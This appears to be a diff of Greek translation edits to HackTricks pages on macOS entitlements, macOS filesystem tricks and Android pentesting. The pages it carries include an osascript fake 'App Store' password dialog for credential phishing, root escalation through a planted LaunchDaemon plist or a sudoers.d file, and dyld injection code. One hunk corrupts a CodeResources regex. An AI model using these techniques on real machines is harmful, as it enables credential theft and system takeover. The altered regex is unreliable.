-Οι εφαρμογές με το Δικαίωμα Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν μια έγκυρη θύρα εργασίας για μη υπογεγραμμένες και τρίτες εφαρμογές με το δικαίωμα `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το δικαίωμα εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τις θύρες εργασίας** διαδικασιών που **δεν έχουν το δικαίωμα `Get Task Allow`**, και οι οποίες προστατεύονται από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
+Οι εφαρμογές με το Entitlement Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν ένα έγκυρο task port για μη υπογεγραμμένες και τρίτες εφαρμογές με το entitlement `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το entitlement εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τα task ports** διαδικασιών που **δεν έχουν το entitlement `Get Task Allow`**, και οι οποίες προστατεύονται από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
 
 ### `com.apple.security.cs.disable-library-validation`
 
-Αυτό το δικαίωμα επιτρέπει να **φορτώνονται πλαίσια, πρόσθετα ή βιβλιοθήκες χωρίς να είναι είτε υπογεγραμμένα από την Apple είτε υπογεγραμμένα με το ίδιο Team ID** με το κύριο εκτελέσιμο, έτσι ώστε ένας επιτιθέμενος να μπορούσε να εκμεταλλευτεί κάποια αυθαίρετη φόρτωση βιβλιοθήκης για να εισάγει κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
+Αυτό το entitlement επιτρέπει να **φορτώνονται frameworks, plug-ins ή βιβλιοθήκες χωρίς να είναι είτε υπογεγραμμένα από την Apple είτε υπογεγραμμένα με το ίδιο Team ID** με το κύριο εκτελέσιμο, έτσι ώστε ένας επιτιθέμενος να μπορούσε να εκμεταλλευτεί κάποια αυθαίρετη φόρτωση βιβλιοθήκης για να εισάγει κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
 
 ### `com.apple.private.security.clear-library-validation`
 
-Αυτό το δικαίωμα είναι πολύ παρόμοιο με το **`com.apple.security.cs.disable-library-validation`** αλλά **αντί** να **απενεργοποιεί άμεσα** την επικύρωση βιβλιοθηκών, επιτρέπει στη διαδικασία να **καλέσει μια κλήση συστήματος `csops` για να την απενεργοποιήσει**.\
+Αυτό το entitlement είναι πολύ παρόμοιο με το **`com.apple.security.cs.disable-library-validation`** αλλά **αντί** να **απενεργοποιεί άμεσα** την επικύρωση βιβλιοθηκών, επιτρέπει στη διαδικασία να **καλέσει μια κλήση συστήματος `csops` για να την απενεργοποιήσει**.\
 Δείτε [**αυτό για περισσότερες πληροφορίες**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
 
 ### `com.apple.security.cs.allow-dyld-environment-variables`
 
-Αυτό το δικαίωμα επιτρέπει να **χρησιμοποιούνται μεταβλητές περιβάλλοντος DYLD** που θα μπορούσαν να χρησιμοποιηθούν για την εισαγωγή βιβλιοθηκών και κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
+Αυτό το entitlement επιτρέπει να **χρησιμοποιούνται μεταβλητές περιβάλλοντος DYLD** που θα μπορούσαν να χρησιμοποιηθούν για να εισάγουν βιβλιοθήκες και κώδικα. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
 
 ### `com.apple.private.tcc.manager` ή `com.apple.rootless.storage`.`TCC`
 
-[**Σύμφωνα με αυτό το blog**](https://objective-see.org/blog/blog_0x4C.html) **και** [**αυτό το blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), αυτά τα δικαιώματα επιτρέπουν να **τροποποιηθεί** η βάση δεδομένων **TCC**.
+[**Σύμφωνα με αυτό το blog**](https://objective-see.org/blog/blog_0x4C.html) **και** [**αυτό το blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), αυτά τα entitlements επιτρέπουν να **τροποποιηθεί** η βάση δεδομένων **TCC**.
 
 ### **`system.install.apple-software`** και **`system.install.apple-software.standar-user`**
 
-Αυτά τα δικαιώματα επιτρέπουν να **εγκαθίστανται λογισμικά χωρίς να ζητούν άδειες** από τον χρήστη, κάτι που μπορεί να είναι χρήσιμο για μια **κλιμάκωση προνομίων**.
+Αυτά τα entitlements επιτρέπουν να **εγκαθίστανται λογισμικά χωρίς να ζητούν άδειες** από τον χρήστη, κάτι που μπορεί να είναι χρήσιμο για μια **κλιμάκωση προνομίων**.
 
 ### `com.apple.private.security.kext-management`
 
-Δικαίωμα που απαιτείται για να ζητήσει ο **πυρήνας να φορτώσει μια επέκταση πυρήνα**.
+Entitlement που απαιτείται για να ζητήσει από τον **πυρήνα να φορτώσει μια επέκταση πυρήνα**.
 
 ### **`com.apple.private.icloud-account-access`**
 
-Το δικαίωμα **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει tokens iCloud**.
+Το entitlement **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει tokens iCloud**.
 
-**iMovie** και **Garageband** είχαν αυτό το δικαίωμα.
+Το **iMovie** και το **Garageband** είχαν αυτό το entitlement.
 
-Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το δικαίωμα, δείτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το entitlement δείτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
 
 ### `com.apple.private.tcc.manager.check-by-audit-token`
 
@@ -74,7 +74,7 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
 
 ### `keychain-access-groups`
 
-Αυτό το δικαίωμα καταγράφει τις ομάδες **keychain** στις οποίες η εφαρμογή έχει πρόσβαση:
+Αυτό το entitlement καταγράφει τις ομάδες **keychain** στις οποίες η εφαρμογή έχει πρόσβαση:
 ```xml
 <key>keychain-access-groups</key>
 <array>
@@ -97,7 +97,7 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
 ```bash
 osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
 ```
-Ή να τους κάνει να εκτελούν **τυχαίες ενέργειες**.
+Or making them perform **arbitrary actions**.
 
 ### **`kTCCServiceEndpointSecurityClient`**
 
@@ -109,25 +109,25 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
 
 ### **`kTCCServiceSystemPolicyAppBundles`**
 
-Επιτρέπει την τροποποίηση αρχείων μέσα σε πακέτα εφαρμογών (μέσα στο app.app), κάτι που είναι **απαγορευμένο από προεπιλογή**.
+Επιτρέπει να τροποποιηθούν αρχεία μέσα σε πακέτα εφαρμογών (μέσα στο app.app), κάτι που είναι **απαγορευμένο από προεπιλογή**.
 
 <figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
 
-Είναι δυνατόν να ελέγξετε ποιος έχει αυτή την πρόσβαση στο _System Settings_ > _Privacy & Security_ > _App Management._
+Είναι δυνατόν να ελεγχθεί ποιος έχει αυτή την πρόσβαση στο _System Settings_ > _Privacy & Security_ > _App Management._
 
 ### `kTCCServiceAccessibility`
 
-Η διαδικασία θα είναι σε θέση να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, που σημαίνει ότι για παράδειγμα θα μπορεί να πατάει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως το Finder και να εγκρίνει το διάλογο με αυτή την άδεια.
+Η διαδικασία θα είναι σε θέση να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, που σημαίνει ότι για παράδειγμα θα μπορεί να πατήσει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως το Finder και να εγκρίνει το παράθυρο διαλόγου με αυτή την άδεια.
 
 ## Medium
 
 ### `com.apple.security.cs.allow-jit`
 
-Αυτή η άδεια επιτρέπει να **δημιουργηθεί μνήμη που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
+Αυτή η άδεια επιτρέπει να **δημιουργήσει μνήμη που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
 
 ### `com.apple.security.cs.allow-unsigned-executable-memory`
 
-Αυτή η άδεια επιτρέπει να **υπερκαλύψει ή να διορθώσει C κώδικα**, να χρησιμοποιήσει τη μακροχρόνια αποσυρμένη **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή να χρησιμοποιήσει το **DVDPlayback** framework. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
+Αυτή η άδεια επιτρέπει να **παρακάμψει ή να διορθώσει C κώδικα**, να χρησιμοποιήσει τη μακροχρόνια αποσυρμένη **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή να χρησιμοποιήσει το **DVDPlayback** framework. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 
 > [!CAUTION]
 > Η συμπερίληψη αυτής της άδειας εκθέτει την εφαρμογή σας σε κοινές ευπάθειες σε γλώσσες κώδικα που είναι ανασφαλείς στη μνήμη. Σκεφτείτε προσεκτικά αν η εφαρμογή σας χρειάζεται αυτή την εξαίρεση.
@@ -137,7 +137,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
 Αυτή η άδεια επιτρέπει να **τροποποιήσει τμήματα των εκτελέσιμων αρχείων της** στο δίσκο για να εξαναγκάσει την έξοδο. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
 
 > [!CAUTION]
-> Η άδεια Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία άδεια που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την αναγραφή του εκτελέσιμου κώδικα της εφαρμογής σας χωρίς ανίχνευση. Προτιμήστε στενότερες άδειες αν είναι δυνατόν.
+> Η Άδεια Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία άδεια που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την αναγραφή του εκτελέσιμου κώδικα της εφαρμογής σας χωρίς ανίχνευση. Προτιμήστε στενότερες άδειες αν είναι δυνατόν.
 
 ### `com.apple.security.cs.allow-relative-library-loads`
 
@@ -145,7 +145,7 @@ TODO
 
 ### `com.apple.private.nullfs_allow`
 
-Αυτή η άδεια επιτρέπει την τοποθέτηση ενός συστήματος αρχείων nullfs (απαγορευμένο από προεπιλογή). Εργαλείο: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
+Αυτή η άδεια επιτρέπει να τοποθετηθεί ένα σύστημα αρχείων nullfs (απαγορευμένο από προεπιλογή). Εργαλείο: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
 
 ### `kTCCServiceAll`
 
@@ -161,3 +161,5 @@ TODO
 ### **`kTCCServicePostEvent`**
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+</details>

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

@@ -7,10 +7,10 @@
 Δικαιώματα σε έναν **φάκελο**:
 
 - **ανάγνωση** - μπορείτε να **καταμετρήσετε** τις καταχωρίσεις του φακέλου
-- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε άδειους φακέλους**.
-- Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη άδειους φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους.
+- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε κενές φακέλους**.
+- Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη κενές φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους.
 - Δεν μπορείτε να **τροποποιήσετε το όνομα ενός φακέλου** εκτός αν τον κατέχετε.
-- **εκτέλεση** - σας επιτρέπεται να **περπατήσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποφακέλους.
+- **εκτέλεση** - έχετε **δικαίωμα να διασχίσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποφακέλους.
 
 ### Επικίνδυνοι Συνδυασμοί
 
@@ -32,7 +32,7 @@
 
 ### Επιτρεπτικό αρχείο/φάκελος
 
-Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να **ελεγχθεί** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει το αρχείο σε ένα άλλο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο.
+Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να είναι **ελεγχόμενο** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει σε ένα άλλο αρχείο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο.
 
 Ελέγξτε σε άλλες ενότητες όπου ένας επιτιθέμενος θα μπορούσε να **καταχραστεί μια αυθαίρετη εγγραφή για να κλιμακώσει τα προνόμια**.
 
@@ -42,7 +42,7 @@
 
 ## .fileloc
 
-Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγονται, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
+Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
 Παράδειγμα:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
@@ -120,7 +120,7 @@ ls -le /tmp/test
 ```
 ### **com.apple.acl.text xattr + AppleDouble**
 
-Η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
+**AppleDouble** μορφή αρχείου αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
 
 Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η κείμενη αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
 
@@ -154,7 +154,7 @@ macos-xattr-acls-extra-stuff.md
 
 ## Παράκαμψη ελέγχων υπογραφής
 
-### Παράκαμψη ελέγχων δυαδικών αρχείων πλατφόρμας
+### Παράκαμψη ελέγχων πλατφορμών
 
 Ορισμένοι έλεγχοι ασφαλείας ελέγχουν αν το δυαδικό αρχείο είναι **δυαδικό αρχείο πλατφόρμας**, για παράδειγμα για να επιτρέψουν τη σύνδεση σε μια υπηρεσία XPC. Ωστόσο, όπως εκτίθεται σε μια παράκαμψη στο https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, είναι δυνατόν να παρακαμφθεί αυτός ο έλεγχος αποκτώντας ένα δυαδικό αρχείο πλατφόρμας (όπως το /bin/ls) και να εισαχθεί η εκμετάλλευση μέσω dyld χρησιμοποιώντας μια μεταβλητή περιβάλλοντος `DYLD_INSERT_LIBRARIES`.
 
@@ -173,9 +173,9 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
 status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
 NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
 ```
-## Παράκαμψη Υπογραφών Κωδικού
+## Bypass Code Signatures
 
-Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να ασχοληθούμε με αυτό.
+Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να ασχοληθούμε με αυτό, επίσης.
 
 Ωστόσο, υπάρχουν κάποια αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί, αυτά έχουν το κλειδί omit στο plist, όπως:
 ```xml
@@ -195,7 +195,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
 </dict>
 <key>rules2</key>
 ...
-<key>^(.*/)?\.DS_Store$</key>
+<key>^(.*/index.html)?\.DS_Store$</key>
 <dict>
 <key>omit</key>
 <true/>
@@ -248,8 +248,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
 # You can also create a dmg from an app using:
 hdiutil create -srcfolder justsome.app justsome.dmg
 ```
-Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitrarion.diskarbitrariond` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύσει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\
-Ωστόσο, είναι δυνατό να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`.
+Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\
+Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`.
 
 ## Αυθαίρετες Εγγραφές
 
@@ -261,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
 
 ### Daemons
 
-Γράψτε έναν αυθαίρετο **LaunchDaemon** όπως **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** με ένα plist που εκτελεί ένα αυθαίρετο script όπως:
+Γράψτε μια αυθαίρετη **LaunchDaemon** όπως **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** με ένα plist που εκτελεί ένα αυθαίρετο script όπως:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@@ -278,11 +278,11 @@ hdiutil create -srcfolder justsome.app justsome.dmg
 </dict>
 </plist>
 ```
-Απλώς δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελέσετε ως root.
+Απλά δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελέσετε ως root.
 
 ### Sudoers File
 
-Εάν έχετε **τυχαία εγγραφή**, μπορείτε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** παραχωρώντας στον εαυτό σας **sudo** δικαιώματα.
+Αν έχετε **τυχαία εγγραφή**, θα μπορούσατε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** παραχωρώντας στον εαυτό σας **sudo** δικαιώματα.
 
 ### PATH files
 
@@ -324,13 +324,13 @@ MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDont
 FILENAME=$(ls "$DIRNAME")
 echo $FILENAME
 ```
-## POSIX Κοινή Μνήμη
+## POSIX Shared Memory
 
-**POSIX κοινή μνήμη** επιτρέπει σε διαδικασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διαδικασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διαδικασίας χρησιμοποιώντας `mmap()`. Οι διαδικασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για να διαχειριστούν την ταυτόχρονη πρόσβαση και να αποτρέψουν τη διαφθορά των δεδομένων, μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores χρησιμοποιούνται συχνά. Τέλος, οι διαδικασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διαδικασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
+**POSIX shared memory** επιτρέπει στις διεργασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διεργασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διεργασίας χρησιμοποιώντας `mmap()`. Οι διεργασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για τη διαχείριση ταυτόχρονων προσβάσεων και την αποφυγή διαφθοράς δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διεργασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διεργασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
 
 <details>
 
-<summary>Παράδειγμα Κώδικα Παραγωγού</summary>
+<summary>Producer Code Example</summary>
 ```c
 // gcc producer.c -o producer -lrt
 #include <fcntl.h>
@@ -424,9 +424,9 @@ return 0;
 
 **macOSCguarded descriptors** είναι μια λειτουργία ασφαλείας που εισήχθη στο macOS για να ενισχύσει την ασφάλεια και την αξιοπιστία των **λειτουργιών περιγραφής αρχείων** σε εφαρμογές χρήστη. Αυτοί οι προστατευμένοι περιγραφείς παρέχουν έναν τρόπο για να συσχετίσουν συγκεκριμένους περιορισμούς ή "φύλακες" με περιγραφείς αρχείων, οι οποίοι επιβάλλονται από τον πυρήνα.
 
-Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου **κληρονομείται** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
+Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου είναι **κληρονομούμενος** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
 
-- `guarded_open_np`: Άνοιγμα ενός FD με έναν φύλακα
+- `guarded_open_np`: Άνοιγμα ενός FD με φύλακα
 - `guarded_close_np`: Κλείσιμο του
 - `change_fdguard_np`: Αλλαγή σημαιών φύλακα σε έναν περιγραφέα (ακόμη και αφαίρεση της προστασίας φύλακα)
 

src/mobile-pentesting/android-app-pentesting/README.md

@@ -4,7 +4,7 @@
 
 ## Βασικά για Εφαρμογές Android
 
-Συνιστάται ανεπιφύλακτα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
+Συνιστάται έντονα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
 
 {{#ref}}
 android-applications-basics.md
@@ -12,7 +12,7 @@ android-applications-basics.md
 
 ## ADB (Android Debug Bridge)
 
-Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
+Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή Android (εξομοιωμένη ή φυσική).\
 **ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
 
 Ρίξτε μια ματιά στη λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
@@ -65,9 +65,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 **Κενά ασφαλείας** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
 
